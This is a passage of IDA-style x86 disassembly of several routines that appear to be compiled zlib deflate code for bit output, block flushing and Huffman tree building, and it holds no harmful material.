		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_8]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, 10h
		sub	edx, [ecx+16B4h]
		mov	ecx, edx
		sar	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_4]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C1BE9
; ---------------------------------------------------------------------------


loc_4C1BAF:				; CODE XREF: sub_4C1AC4+1Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_C]
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		add	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+16B4h], ecx


loc_4C1BE9:				; CODE XREF: sub_4C1AC4+E9j
		push	1
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C4C42
		add	esp, 10h
		mov	esp, ebp
		pop	ebp
		retn
sub_4C1AC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C1C03	proc near		; CODE XREF: sub_4BEBAE+2A0p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	[ebp+var_4], 3
		mov	eax, 10h
		sub	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+16B4h], eax
		jle	loc_4C1CEE
		mov	[ebp+var_8], 2
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_8]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_4]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C1D2A
; ---------------------------------------------------------------------------


loc_4C1CEE:				; CODE XREF: sub_4C1C03+1Ej
		mov	ecx, [ebp+arg_0]
		mov	edx, 2
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		add	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_0]
		mov	[edx+16B4h], ecx


loc_4C1D2A:				; CODE XREF: sub_4C1C03+E9j
		xor	eax, eax
		mov	ax, word_4F29AA
		mov	[ebp+var_C], eax
		mov	ecx, 10h
		sub	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		cmp	[edx+16B4h], ecx
		jle	loc_4C1E18
		xor	eax, eax
		mov	ax, word_4F29A8
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_10]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, 10h
		sub	edx, [ecx+16B4h]
		mov	ecx, edx
		sar	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_C]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C1E5A
; ---------------------------------------------------------------------------


loc_4C1E18:				; CODE XREF: sub_4C1C03+143j
		xor	ecx, ecx
		mov	cx, word_4F29A8
		mov	edx, ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C1E5A:				; CODE XREF: sub_4C1C03+213j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C4A9D
		add	esp, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16ACh]
		add	ecx, 0Bh
		mov	edx, [ebp+arg_0]
		sub	ecx, [edx+16B4h]
		cmp	ecx, 9
		jge	loc_4C20E1
		mov	[ebp+var_14], 3
		mov	eax, 10h
		sub	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+16B4h], eax
		jle	loc_4C1F69
		mov	[ebp+var_18], 2
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_18]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_14]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C1FA5
; ---------------------------------------------------------------------------


loc_4C1F69:				; CODE XREF: sub_4C1C03+299j
		mov	ecx, [ebp+arg_0]
		mov	edx, 2
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		add	ecx, [ebp+var_14]
		mov	edx, [ebp+arg_0]
		mov	[edx+16B4h], ecx


loc_4C1FA5:				; CODE XREF: sub_4C1C03+364j
		xor	eax, eax
		mov	ax, word_4F29AA
		mov	[ebp+var_1C], eax
		mov	ecx, 10h
		sub	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		cmp	[edx+16B4h], ecx
		jle	loc_4C2093
		xor	eax, eax
		mov	ax, word_4F29A8
		mov	[ebp+var_20], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_20]
		mov	ecx, [ecx+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_20]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, 10h
		sub	edx, [ecx+16B4h]
		mov	ecx, edx
		sar	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_1C]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C20D5
; ---------------------------------------------------------------------------


loc_4C2093:				; CODE XREF: sub_4C1C03+3BEj
		xor	ecx, ecx
		mov	cx, word_4F29A8
		mov	edx, ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C20D5:				; CODE XREF: sub_4C1C03+48Ej
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C4A9D
		add	esp, 4


loc_4C20E1:				; CODE XREF: sub_4C1C03+27Bj
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+16ACh], 7
		mov	esp, ebp
		pop	ebp
		retn
sub_4C1C03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C20F2	proc near		; CODE XREF: sub_4BF490+F0p
					; sub_4BF490+178p ...

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+7Ch], 0
		jle	loc_4C2193
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [ecx+1Ch]
		cmp	edx, 2
		jnz	short loc_4C2125
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C49AA
		add	esp, 4


loc_4C2125:				; CODE XREF: sub_4C20F2+25j
		mov	ecx, [ebp+arg_0]
		add	ecx, 0B10h
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C24AE
		add	esp, 8
		mov	eax, [ebp+arg_0]
		add	eax, 0B1Ch
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C24AE
		add	esp, 8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C2DE5
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16A0h]
		add	ecx, 0Ah
		shr	ecx, 3
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16A4h]
		add	eax, 0Ah
		shr	eax, 3
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_C]
		ja	short loc_4C2191
		mov	edx, [ebp+var_8]
		mov	[ebp+var_C], edx


loc_4C2191:				; CODE XREF: sub_4C20F2+97j
		jmp	short loc_4C21A2
; ---------------------------------------------------------------------------


loc_4C2193:				; CODE XREF: sub_4C20F2+14j
		mov	eax, [ebp+arg_8]
		add	eax, 5
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_C], ecx


loc_4C21A2:				; CODE XREF: sub_4C20F2:loc_4C2191j
		mov	edx, [ebp+arg_8]
		add	edx, 4
		cmp	edx, [ebp+var_C]
		ja	short loc_4C21D0
		cmp	[ebp+arg_4], 0
		jz	short loc_4C21D0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C1AC4
		add	esp, 10h
		jmp	loc_4C248C
; ---------------------------------------------------------------------------


loc_4C21D0:				; CODE XREF: sub_4C20F2+B9j
					; sub_4C20F2+BFj
		mov	ecx, [ebp+var_8]
		cmp	ecx, [ebp+var_C]
		jnz	loc_4C231B
		mov	[ebp+var_10], 3
		mov	edx, 10h
		sub	edx, [ebp+var_10]
		mov	eax, [ebp+arg_0]
		cmp	[eax+16B4h], edx
		jle	loc_4C22C3
		mov	ecx, [ebp+arg_C]
		add	ecx, 2
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_14]
		mov	ecx, [edx+16B4h]
		shl	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	dx, [ecx+16B0h]
		or	dx, ax
		mov	eax, [ebp+arg_0]
		mov	[eax+16B0h], dx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		and	edx, 0FFh
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dx, [ecx+16B0h]
		sar	edx, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ecx+eax], dl
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+14h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+14h], edx
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	eax, [ebp+arg_0]
		mov	ecx, 10h
		sub	ecx, [eax+16B4h]
		sar	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], dx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_10]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C2300
; ---------------------------------------------------------------------------


loc_4C22C3:				; CODE XREF: sub_4C20F2+102j
		mov	edx, [ebp+arg_C]
		add	edx, 2
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_10]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C2300:				; CODE XREF: sub_4C20F2+1CFj
		push	offset dword_4F2A28
		push	offset dword_4F25A8
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C4162
		add	esp, 0Ch
		jmp	loc_4C248C
; ---------------------------------------------------------------------------


loc_4C231B:				; CODE XREF: sub_4C20F2+E4j
		mov	[ebp+var_18], 3
		mov	eax, 10h
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+16B4h], eax
		jle	loc_4C2403
		mov	edx, [ebp+arg_C]
		add	edx, 4
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	eax, [ebp+arg_0]
		mov	cx, [eax+16B0h]
		or	cx, dx
		mov	edx, [ebp+arg_0]
		mov	[edx+16B0h], cx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		and	ecx, 0FFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+16B0h]
		sar	ecx, 8
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	[eax+edx], cl
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+14h]
		add	ecx, 1
		mov	edx, [ebp+arg_0]
		mov	[edx+14h], ecx
		mov	eax, [ebp+var_1C]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, 10h
		sub	edx, [ecx+16B4h]
		mov	ecx, edx
		sar	eax, cl
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		mov	ecx, [ebp+var_18]
		lea	edx, [eax+ecx-10h]
		mov	eax, [ebp+arg_0]
		mov	[eax+16B4h], edx
		jmp	short loc_4C2440
; ---------------------------------------------------------------------------


loc_4C2403:				; CODE XREF: sub_4C20F2+241j
		mov	edx, [ebp+arg_C]
		add	edx, 4
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+16B4h]
		shl	edx, cl
		mov	ecx, [ebp+arg_0]
		mov	ax, [ecx+16B0h]
		or	ax, dx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B0h], ax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+16B4h]
		add	eax, [ebp+var_18]
		mov	ecx, [ebp+arg_0]
		mov	[ecx+16B4h], eax


loc_4C2440:				; CODE XREF: sub_4C20F2+30Fj
		mov	edx, [ebp+var_4]
		add	edx, 1
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0B20h]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+0B14h]
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C3039
		add	esp, 10h
		mov	edx, [ebp+arg_0]
		add	edx, 980h
		push	edx
		mov	eax, [ebp+arg_0]
		add	eax, 8Ch
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C4162
		add	esp, 0Ch


loc_4C248C:				; CODE XREF: sub_4C20F2+D9j
					; sub_4C20F2+224j
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C19FB
		add	esp, 4
		cmp	[ebp+arg_C], 0
		jz	short loc_4C24AA
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4C4B86
		add	esp, 4


loc_4C24AA:				; CODE XREF: sub_4C20F2+3AAj
		mov	esp, ebp
		pop	ebp
		retn
sub_4C20F2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4C24AE	proc near		; CODE XREF: sub_4C20F2+41p
					; sub_4C20F2+56p ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		mov	ecx, [eax]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		mov	ecx, [eax+0Ch]
		mov	[ebp+var_8], ecx
		mov	[ebp+var_18], 0FFFFFFFFh
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+1448h], 0
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+144Ch], 23Dh
		mov	[ebp+var_1C], 0
		jmp	short loc_4C2507
; ---------------------------------------------------------------------------


loc_4C24FE:				; CODE XREF: sub_4C24AE:loc_4C256Cj
		mov	ecx, [ebp+var_1C]
		add	ecx, 1
		mov	[ebp+var_1C], ecx


loc_4C2507:				; CODE XREF: sub_4C24AE+4Ej
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+var_8]
		jge	short loc_4C256E
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		mov	dx, [ecx+eax*4]
		test	edx, edx
		jz	short loc_4C255F
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1448h]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+1448h], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1448h]
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_18]
		mov	[eax+edx*4+0B54h], ecx
		mov	edx, [ebp+arg_0]
		add	edx, [ebp+var_1C]
		mov	byte ptr [edx+1450h], 0
		jmp	short loc_4C256C
; ---------------------------------------------------------------------------


loc_4C255F:				; CODE XREF: sub_4C24AE+6Fj
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	word ptr [ecx+eax*4+2],	0


loc_4C256C:				; CODE XREF: sub_4C24AE+AFj
		jmp	short loc_4C24FE
; ---------------------------------------------------------------------------


loc_4C256E:				; CODE XREF: sub_4C24AE+5Fj
					; sub_4C24AE:loc_4C2622j
		mov	edx, [ebp+arg_0]
		cmp	dword ptr [edx+1448h], 2
		jge	loc_4C2627
		cmp	[ebp+var_18], 2
		jge	short loc_4C2595
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+var_18]
		mov	[ebp+var_20], ecx
		jmp	short loc_4C259C
; ---------------------------------------------------------------------------


loc_4C2595:				; CODE XREF: sub_4C24AE+D4j
		mov	[ebp+var_20], 0


loc_4C259C:				; CODE XREF: sub_4C24AE+E5j
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1448h]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+1448h], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1448h]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_20]
		mov	[ecx+eax*4+0B54h], edx
		mov	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_10]
		mov	word ptr [edx+ecx*4], 1
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	byte ptr [eax+1450h], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+16A0h]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+16A0h], edx
		cmp	[ebp+var_C], 0
		jz	short loc_4C2622
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_C]
		xor	eax, eax
		mov	ax, [edx+ecx*4+2]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+16A4h]
		sub	edx, eax
		mov	eax, [ebp+arg_0]
		mov	[eax+16A4h], edx


loc_4C2622:				; CODE XREF: sub_4C24AE+151j
		jmp	loc_4C256E
; ---------------------------------------------------------------------------


loc_4C2627:				; CODE XREF: sub_4C24AE+CAj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_18]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+1448h]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_1C], eax
		jmp	short loc_4C264C
; ---------------------------------------------------------------------------


loc_4C2643:				; CODE XREF: sub_4C24AE+1B8j
		mov	ecx, [ebp+var_1C]
		sub	ecx, 1
		mov	[ebp+var_1C], ecx


loc_4C264C:				; CODE XREF: sub_4C24AE+193j
		cmp	[ebp+var_1C], 1
		jl	short loc_4C2668
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4C284E
		add	esp, 0Ch
		jmp	short loc_4C2643
; ---------------------------------------------------------------------------


loc_4C2668:				; CODE XREF: sub_4C24AE+1A2j
		mov	edx, [ebp+var_8]
		mov	[ebp+var_4], edx


loc_4C266E:				; CODE XREF: sub_4C24AE+33Aj
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0B58h]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+1448h]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+eax*4+0B54h]
		mov	[ecx+0B58h], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+1448h]
		sub	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+1448h], edx
		push	1
		mov	ecx, [ebp+var_10]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_4C284E
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+0B58h]
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+144Ch]
		sub	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+144Ch], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+144Ch]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		mov	[ecx+eax*4+0B54h], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+144Ch]
		sub	ecx, 1
